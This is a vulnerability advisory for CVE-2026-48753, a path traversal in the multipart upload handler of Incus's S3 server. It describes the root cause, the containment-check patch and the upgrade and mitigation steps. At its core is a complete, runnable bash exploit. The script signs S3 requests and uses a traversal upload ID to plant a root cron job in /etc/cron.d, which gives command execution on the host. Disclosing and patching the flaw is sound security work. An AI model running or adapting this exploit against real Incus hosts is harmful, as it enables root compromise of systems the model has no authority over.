CVE-2026-48753: Incus S3 Multipart Upload Path Traversal to Arbitrary File Write
A missing path sanitization check in Incus's built-in S3 server lets any authenticated bucket user write files anywhere on the host filesystem, including cron directories, making remote code…
The problem
Incus exposes an S3-compatible storage API via incusd. When handling a multipart upload part (HTTP PUT with ?partNumber=N&uploadId=...), the server takes the uploadId query parameter and joins it directly onto the upload directory path using filepath.Join(s.uploadsDir(), uploadID) with no sanitization.
An attacker with valid S3 credentials (bucket owner or any user granted access) can supply a traversal sequence as the upload ID. The part data they upload becomes the file content written at the resolved path. Because incusd runs as root, the attacker can overwrite or create any file on the host, including /etc/cron.d/ entries, /etc/sudoers, or SSH authorized keys, leading directly to remote code execution.
Proof of concept
A working proof-of-concept for CVE-2026-48753 in github.com/lxc/incus/v7/cmd/incusd, with the exact payload below.
#!/usr/bin/env bash
# CVE-2026-48753 - Incus S3 multipart upload path traversal -> RCE via cron
# Usage: ./exploit.sh http://host:8555 mybucket ACCESS_KEY SECRET_KEY
set -euo pipefail
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
# Traversal payload: walks out of the uploads dir and lands in /etc/cron.d
# The part file will be written as /etc/cron.d/part-00001
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /tmp/incus-rce; rm -f $target"
body="* * * * * root /bin/sh -c '${cmd}'
"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
uri_path="/$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/${bucket}/${key}"
qs="partNumber=${part}&uploadId=${upload_id//\//%2F}"
url="${endpoint}/${bucket}/${key}?${qs}"
amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="${date_scope}/${region}/${service}/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"
canonical="PUT
${uri_path}
${qs}
host:${host}
x-amz-content-sha256:${body_hash}
x-amz-date:${amz_date}
${signed}
${body_hash}"
canonical_hash=$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')
string_to_sign="AWS4-HMAC-SHA256
${amz_date}
${scope}
${canonical_hash}"
hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256; }
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
curl -ksS -X PUT "${url}" \
-H "Host: ${host}" \
-H "X-Amz-Date: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "Authorization: ${auth}" \
--data-binary "${body}"
echo "[*] Payload written. Check /tmp/incus-rce after next cron tick."The root cause is CWE-73 (External Control of File Name or Path). In internal/server/storage/s3/local/multipart.go (line 33 of the pre-patch commit 40dd4f1), the function uploadDir(uploadID) returns filepath.Join(s.uploadsDir(), uploadID). Go's filepath.Join resolves .. components, so a traversal string like ../../../../etc/cron.d resolves cleanly to an absolute path outside the intended uploads directory.
The patch adds a containment check after the join: it verifies that the resolved path still has s.uploadsDir() as a prefix (using filepath.Clean plus a strings.HasPrefix guard). If the resolved path escapes the uploads directory, the request is rejected with an error before any file I/O occurs.
Because incusd runs as root, writing to /etc/cron.d/ with attacker-controlled content directly yields command execution as root on the next cron tick.
The fix
Upgrade to Incus 7.1.0 or later. The fix adds upload ID path containment validation in internal/server/storage/s3/local/multipart.go, rejecting any upload ID that resolves outside the designated uploads directory. If upgrading is not immediately possible, disable the S3 bucket API by unsetting core.storage_buckets_address and restrict network access to the incusd port.
Reported by antifob.
Related research
- critical · 9.9CVE-2026-48749CVE-2026-48749: Incus Arbitrary File Read and Write via rootfs Symlink in Malicious Image
- critical · 9.9CVE-2026-48752CVE-2026-48752: Incus Arbitrary Host File Read and Write via templates/ Symlink
- critical · 9.9CVE-2026-48769CVE-2026-48769: Incus Arbitrary File Write via Trusted Image Hash Header
- critical · 9.9CVE-2026-48755CVE-2026-48755: Incus Argument Injection in Backup Compression Leading to Arbitrary File Write and RCE